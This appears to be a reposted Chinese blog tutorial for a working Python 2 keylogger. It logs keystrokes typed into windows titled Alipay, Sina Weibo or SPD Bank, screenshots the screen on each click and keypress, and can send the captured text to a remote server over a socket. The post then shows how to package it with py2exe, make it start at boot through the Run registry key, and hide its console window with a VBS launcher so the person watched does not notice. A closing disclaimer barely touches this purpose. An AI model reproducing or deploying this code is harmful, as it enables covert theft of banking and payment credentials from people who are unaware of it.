從網上看到的,正好和自己想做的東西很像, 日後改成python3版本並修改完善。
本文以一段簡單的監聽鼠標、鍵盤事件的程序,實現獲取用戶的輸入(比如登錄某些網站的賬號、密碼)的功能。經測試,對於一臺“裸奔”的電腦,完全能獲取到用戶輸入的任何信息;但是如果安裝了殺毒軟件,就夠嗆了。具體實現方法如下:
一、代碼部分:獲取用戶輸入信息,並與截圖一起保存到XX目錄下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 | # -*- coding: utf-8 -*- # import pythoncom import pyHook import time import socket from PIL import ImageGrab # #如果是遠程監聽某個目標電腦,可以自己架設一個服務器,然後將獲取到的信息發回給服務器 # def send_msg_to_server(msg): host = "" port = 1234 buf_size = 1024 addr = (host,port) if len (msg)> 0 : tcp_client_sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) tcp_client_sock.connect(addr) info = time.strftime( '%Y%m%d%H%M%S' ,time.localtime(time.time())) + ' from ' + socket.gethostname() + ':' tcp_client_sock.sendall(info + msg) tcp_client_sock.close() # #也可以將獲取到的信息保存到本地文件下 # def write_msg_to_txt(msg): f = open ( 'D:/workspace/mytest/pyhook/media/monitor.txt' , 'a' ) f.write(msg + '\r\n' ) f.close() def onMouseEvent(event): # 監聽鼠標事件 global MSG if len (MSG)! = 0 : #send_msg_to_server(MSG) write_msg_to_txt(MSG) MSG = '' pic_name = time.strftime( '%Y%m%d%H%M%S' ,time.localtime(time.time())) #將用戶屏幕截圖,保存到本地某個目錄下(也可以搞成遠程發送到自己的服務器) pic = ImageGrab.grab() pic.save( 'D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name) return True def onKeyboardEvent(event): #監聽鍵盤事件 global MSG title = event.WindowName.decode( 'GBK' ) #通過網站title,判斷當前網站是否是“監聽目標” if title.find(u "支付寶" ) ! = - 1 or title.find(u '新浪微博' )! = - 1 or title.find(u '浦發銀行' )! = - 1 : #Ascii: 8-Backspace , 9-Tab ,13-Enter if ( 127 > = event.Ascii > 31 ) or (event.Ascii = = 8 ): MSG + = chr (event.Ascii) if (event.Ascii = = 9 ) or (event.Ascii = = 13 ): #send_msg_to_remote(MSG) write_msg_to_txt(MSG) MSG = '' #屏幕抓圖實現 pic_name = time.strftime( '%Y%m%d%H%M%S' ,time.localtime(time.time())) pic = ImageGrab.grab() #保存成爲以日期命名的圖片 pic.save( 'D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name) return True if __name__ = = "__main__" : MSG = '' #創建hook句柄 hm = pyHook.HookManager() #監控鼠標 hm.SubscribeMouseLeftDown(onMouseEvent) hm.HookMouse() #監控鍵盤 hm.KeyDown = onKeyboardEvent hm.HookKeyboard() #循環獲取消息 pythoncom.PumpMessages() |
二、用py2exe將腳本打包:
新建一個py文件setup.py,內容如下:
1 2 3 4 | from distutils.core import setup import py2exe setup(console = [ "monitor.py" ]) #setup(windows=["monitor.py"]) |
命令行執行以下命令:
1 | pythonsetup.pypy2exe |
三、將該程序設置爲開機自動啓動:
步驟①:
將需要開機啓動的文件(創建一個快捷方式,然後)放到“開始/所有程序/啓動”目錄下
步驟②:
修改註冊表:命令行— regedit ,然後到以下路徑下:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
新建一個“字符串值”,然後編輯:設置exe文件所在路徑
D:\workspace\mytest\pyhook\dist\monitor.exe
(以上兩種方式啓動monitor.exe的話,會彈出一個命令框,顯示監聽日誌信息,這樣的話,被監聽的人一下就能發現了,可以試試下面這個方式)
步驟③:
新建一個 .vbs文件,內容如下:
1 2 | setwscriptObj=CreateObject( "Wscript.Shell" ) wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0 |
雙擊運行該vbs文件,則monitor.exe就在後臺啓動了(不會彈出一個大黑框)。
然後參考法①、② 把該vbs設置成開機啓動即可。
補充:
1、該程序涉及到一些模塊都需要自己安裝一下;
2、文章中凡是“D:\workspace....”這樣的路徑都需要改成自己的真實路徑;
3、本代碼僅爲測試示例,讀者不要將其用於非法用途。